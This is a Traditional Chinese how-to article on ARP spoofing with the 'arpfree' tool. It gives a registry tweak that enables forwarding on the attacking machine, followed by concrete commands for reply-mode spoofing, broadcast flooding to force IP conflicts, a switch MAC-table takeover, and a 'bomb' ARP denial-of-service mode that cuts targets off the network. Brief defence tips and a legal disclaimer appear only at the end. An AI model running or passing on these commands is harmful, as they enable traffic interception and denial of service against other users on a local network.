ARP（Address Resolution Protocol）欺騙是區域網路中常見的中間人攻擊手段，攻擊者透過偽造ARP封包，將目標主機的MAC地址映射導向攻擊者機器，進而竊聽、攔截或篡改網路流量。本文深入解析ARP欺騙的運作機制、工具參數設定與防禦策略。

核心前置條件：啟用IP路由轉發

執行ARP欺騙前，必須在攻擊機器上啟用IP路由功能，否則封包無法正確轉發，導致目標斷網。在Windows中需修改登錄檔：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1

若發現網卡無法開啟混雜模式，多半是此項未正確設定。

ARP封包類型與參數說明

常見工具（如arpfree）支援兩種封包模式：

1. ARP Request（請求模式）

僅需指定目標IP，詢問「誰擁有此IP？」，適用於掃描存活主機。

2. ARP Reply（應答模式）

需同時提供發送端IP與目標IP，主動宣告「某IP對應的MAC是某值」，此為欺騙核心手法。

發送速度參數（大小寫敏感）

參數	間隔	適用場景
fast	最快	高強度攻擊/測試
hear	60ms	配合Sniffer監聽
slowhear	500ms	低頻維持
auto	1秒	預設平衡
slow	2秒	隱蔽持久

實戰指令範例

請求模式

arpfree 0050fc272b26 000b6af80ca8 request 1.1.1.1 fast

• 參數依序：本機MAC、目標MAC、模式、詢問IP、速度

應答模式（欺騙核心）

arpfree 0050fc272b26 000b6af80ca8 reply 1.1.1.1 2.2.2.2 auto

• 參數依序：本機MAC、目標MAC、模式、本機IP、目標IP、速度
• 效果：告訴目標機器（2.2.2.2），IP 1.1.1.1 的MAC是攻擊者MAC

對抗「局域網終結者」類工具的反制手段

手法一：更強烈的洪水攻擊

arpfree 123412341234 ffffffffffff request 192.168.237.58 fast

以廣播MAC（ff:ff:ff:ff:ff:ff）發送大量請求，導致目標IP衝突，癱瘓其網路連線。

手法二：交換機MAC表競爭

arpfree 00c04c395a3c 123412341234 request 1.1.1.1 fast

搶佔交換機MAC地址表，將目標流量導向攻擊者，使其無法上網。

2006年更新：非交換環境下的「bomb」參數

針對Hub環境新增bomb模式，屬於ARP DoS攻擊：

arpfree 123412341234 011a8575a436 reply 1.1.1.1 192.168.237.109 bomb

高頻刷新目標ARP快取，極低資源消耗下造成持續斷網，甚至重開機無法恢復（除非拔網線）。作者警告此功能極不道德，故未寫入Help，請勿濫用。

防禦建議

• 部署動態ARP檢測（DAI）與端口安全性
• 啟用靜態ARP綁定關鍵設備（網關、伺服器）
• 使用VLAN隔離、開啟交換機Port Security限制MAC學習
• 定期稽核網路流量異常

法律聲明：未經授權對他人網路實施ARP攻擊屬違法行為，本文僅供網管人員理解攻擊原理以強化防禦，嚴禁用於非法用途。